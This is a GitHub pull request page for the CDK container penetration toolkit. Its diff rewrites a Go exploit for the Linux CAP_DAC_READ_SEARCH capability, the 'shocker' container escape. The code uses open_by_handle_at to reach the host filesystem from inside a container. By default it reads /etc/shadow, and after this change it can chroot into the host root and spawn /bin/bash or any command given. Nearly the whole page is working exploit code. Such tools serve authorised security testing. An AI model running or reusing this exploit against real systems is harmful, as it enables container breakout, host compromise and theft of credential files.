Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat: better cap_dac_read_search exploit #27

Merged
merged 1 commit into from
Aug 28, 2021
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
282 changes: 62 additions & 220 deletions pkg/exploit/cap_dac_read_search.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,28 +5,42 @@ package exploit
import (
"github.com/cdk-team/CDK/pkg/cli"
"github.com/cdk-team/CDK/pkg/plugin"
"io/ioutil"
"os"
"os/exec"
"strings"

"golang.org/x/sys/unix"

"encoding/binary"
"fmt"
"log"
"os"
"strings"
"syscall"
"unsafe"
)

const (
defaultRef = "/etc/hostname"
defaultTarget = "/etc/shadow"
defaultShell = "/bin/bash"
)

// plugin interface
type CapDacReadSearch struct{}

func (p CapDacReadSearch) Desc() string {
return fmt.Sprintf("Read /etc/shadow file from host. First argument is target file (default: %v). Second argument is file bind-mounted to container from host (default: %v)", defaultTarget, defaultRef)
var buffer strings.Builder

buffer.WriteString("Read files from host or chroot to host and spawn a cmd. ")
buffer.WriteString("The First argument is file bind-mounted to container from host (default: %s), ")
buffer.WriteString("the second argument specifies which file to read (default: %s), ")
buffer.WriteString("the third and remaining arguments specifies command executed in host root filesystem (default: %s). ")
buffer.WriteString("If there is one argument, the first argument is the target file to read. ")
buffer.WriteString("When second argument is \"/\", this exploit will spawn a cmd. ")

return fmt.Sprintf(
buffer.String(),
defaultRef,
defaultTarget,
defaultShell,
)
}

func (p CapDacReadSearch) Run() bool {
Expand All @@ -35,18 +49,29 @@ func (p CapDacReadSearch) Run() bool {
var (
ref = defaultRef
target = defaultTarget
cmd = []string{defaultShell}
)

switch len(args) {
case 0:
case 1:
target = args[0]
case 2:
target = args[0]
ref = args[1]
ref = args[0]
target = args[1]
default:
ref = args[0]
target = args[1]
cmd = args[2:]
}

chroot := false
if target == "/" {
chroot = true
}

fmt.Printf("Running with target: %v, ref: %v\n", target, ref)
CapDacReadSearchExploit(target, ref)
CapDacReadSearchExploit(target, ref, chroot, cmd)

return false
}
Expand All @@ -56,236 +81,53 @@ func init() {
plugin.RegisterExploit("cap-dac-read-search", exploit)
}

// http://stealth.openwall.net/xSports/shocker.c
// some code borrowed from https://golang.org/src/os

const (
// More than 5760 to work around https://golang.org/issue/24015.
blockSize = 8192
isBigEndian = false
)

// Auxiliary information if the File describes a directory
type dirInfo struct {
buf []byte // buffer for directory I/O
nbuf int // length of buf; return value from Getdirentries
bufp int // location of next record in buf.
}

type dirEntry struct {
Name string
Ino uint64
}

func direntIno(buf []byte) (uint64, bool) {
return readInt(buf, unsafe.Offsetof(syscall.Dirent{}.Ino), unsafe.Sizeof(syscall.Dirent{}.Ino))
}

func direntReclen(buf []byte) (uint64, bool) {
return readInt(buf, unsafe.Offsetof(syscall.Dirent{}.Reclen), unsafe.Sizeof(syscall.Dirent{}.Reclen))
}

func readdir(fd, n int) (dirEntries []dirEntry, err error) {
d := new(dirInfo)
// The buffer must be at least a block long.
d.buf = make([]byte, blockSize)

// Change the meaning of n for the implementation below.
//
// The n above was for the public interface of "if n <= 0,
// Readdir returns all the FileInfo from the directory in a
// single slice".
//
// But below, we use only negative to mean looping until the
// end and positive to mean bounded, with positive
// terminating at 0.
if n == 0 {
n = -1
}

for n != 0 {
// Refill the buffer if necessary
if d.bufp >= d.nbuf {
d.bufp = 0
var errno error
d.nbuf, errno = syscall.ReadDirent(fd, d.buf)
if errno != nil {
return dirEntries, errno
}
if d.nbuf <= 0 {
break // EOF
}
}

// Drain the buffer
buf := d.buf[d.bufp:d.nbuf]
reclen, ok := direntReclen(buf)
if !ok || reclen > uint64(len(buf)) {
break
}
rec := buf[:reclen]
d.bufp += int(reclen)
ino, ok := direntIno(rec)
if !ok {
break
}
if ino == 0 {
continue
}
const namoff = uint64(unsafe.Offsetof(syscall.Dirent{}.Name))
namlen, ok := direntNamlen(rec)
if !ok || namoff+namlen > uint64(len(rec)) {
break
}
name := rec[namoff : namoff+namlen]
for i, c := range name {
if c == 0 {
name = name[:i]
break
}
}
// Check for useless names before allocating a string.
if string(name) == "." || string(name) == ".." {
continue
}
if n > 0 { // see 'n == 0' comment above
n--
}

dirEntries = append(dirEntries, dirEntry{Name: string(name), Ino: ino})
}

return dirEntries, nil
}

// readInt returns the size-bytes unsigned integer in native byte order at offset off.
func readInt(b []byte, off, size uintptr) (u uint64, ok bool) {
if len(b) < int(off+size) {
return 0, false
}
if isBigEndian {
return readIntBE(b[off:], size), true
}
return readIntLE(b[off:], size), true
}

func readIntBE(b []byte, size uintptr) uint64 {
switch size {
case 1:
return uint64(b[0])
case 2:
_ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
return uint64(b[1]) | uint64(b[0])<<8
case 4:
_ = b[3] // bounds check hint to compiler; see golang.org/issue/14808
return uint64(b[3]) | uint64(b[2])<<8 | uint64(b[1])<<16 | uint64(b[0])<<24
case 8:
_ = b[7] // bounds check hint to compiler; see golang.org/issue/14808
return uint64(b[7]) | uint64(b[6])<<8 | uint64(b[5])<<16 | uint64(b[4])<<24 |
uint64(b[3])<<32 | uint64(b[2])<<40 | uint64(b[1])<<48 | uint64(b[0])<<56
default:
panic("syscall: readInt with unsupported size")
}
}

func readIntLE(b []byte, size uintptr) uint64 {
switch size {
case 1:
return uint64(b[0])
case 2:
_ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
return uint64(b[0]) | uint64(b[1])<<8
case 4:
_ = b[3] // bounds check hint to compiler; see golang.org/issue/14808
return uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24
case 8:
_ = b[7] // bounds check hint to compiler; see golang.org/issue/14808
return uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 |
uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56
default:
panic("syscall: readInt with unsupported size")
}
}

func direntNamlen(buf []byte) (uint64, bool) {
reclen, ok := direntReclen(buf)
if !ok {
return 0, false
func execCommand(cmdSlice []string) {
cmd := exec.Command(cmdSlice[0], cmdSlice[1:]...)
cmd.Stdout = os.Stdout
cmd.Stdin = os.Stdin
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
log.Fatalf("[-] Run cmd: %s\n", err)
}
return reclen - uint64(unsafe.Offsetof(syscall.Dirent{}.Name)), true
}

func getHandleByName(mountFd int, dirHandle unix.FileHandle, name string) (handle unix.FileHandle) {
fd, err := unix.OpenByHandleAt(mountFd, dirHandle, unix.O_RDONLY)
if err != nil {
log.Fatalf("[-] OpenByHandleAt: %v\n", err)
}

dirEntries, err := readdir(fd, 0)
if err != nil {
log.Fatalf("[-] readdir: %v\n", err)
}

var ino uint64
for _, dirEntry := range dirEntries {
if dirEntry.Name == name {
ino = dirEntry.Ino
break
}
}

b := make([]byte, 8)
binary.LittleEndian.PutUint64(b, ino)
for i := uint32(0); i < 0xffffffff; i++ {
binary.LittleEndian.PutUint32(b[4:8], i)
handle = unix.NewFileHandle(1, b)
_, err = unix.OpenByHandleAt(mountFd, handle, unix.O_RDONLY)
if err == nil {
break
}
}

return handle

}

func CapDacReadSearchExploit(target, ref string) error {
func CapDacReadSearchExploit(target, ref string, chroot bool, cmd []string) error {
// reference something bind mounted to container from host
fd, err := unix.Open(ref, unix.O_RDONLY, 0)
if err != nil {
log.Fatalf("[-] Open: %v\n", err)
}

// inode of / is always 2
// inode of / is always 2 for ext4: https://ext4.wiki.kernel.org/index.php/Ext4_Disk_Layout
// and i_generation is always 0, so handle is always 0x0000000000000002
h := unix.NewFileHandle(1, []byte{0x02, 0, 0, 0, 0, 0, 0, 0})

p := strings.Split(target, "/")
// skip 0 because it's "/"
for i := 1; i < len(p); i++ {
h = getHandleByName(fd, h, p[i])
}

fd, err = unix.OpenByHandleAt(fd, h, unix.O_RDONLY)
fd, err = unix.OpenByHandleAt(fd, h, 0)
if err != nil {
log.Fatalf("[-] OpenByHandleAt: %v\n", err)
}
file := os.NewFile(uintptr(fd), "")
defer file.Close()

// count length before read file
fileinfo, err := file.Stat()
if err != nil {
log.Fatalf("[-] file.Stat: %v\n", err)
if err = unix.Fchdir(fd); err != nil {
log.Fatalf("[-] Fchdir: %v\n", err)
}
filesize := fileinfo.Size()

out := make([]byte, filesize)
log.Println("Target file content:")
if chroot {
if err = unix.Chroot("."); err != nil {
log.Fatalf("[-] Chroot: %v\n", err)
}

if _, err := file.Read(out); err != nil {
log.Fatalf("[-] Read: %v\n", err)
fmt.Printf("executing command(%s)...\n", strings.Join(cmd, " "))

execCommand(cmd)
return nil
}

var content []byte
if content, err = ioutil.ReadFile(fmt.Sprintf("./%s", target)); err != nil {
log.Fatalf("[-] read file: %s\n", content)
}
fmt.Println(string(out))

fmt.Println(string(content))

return nil
}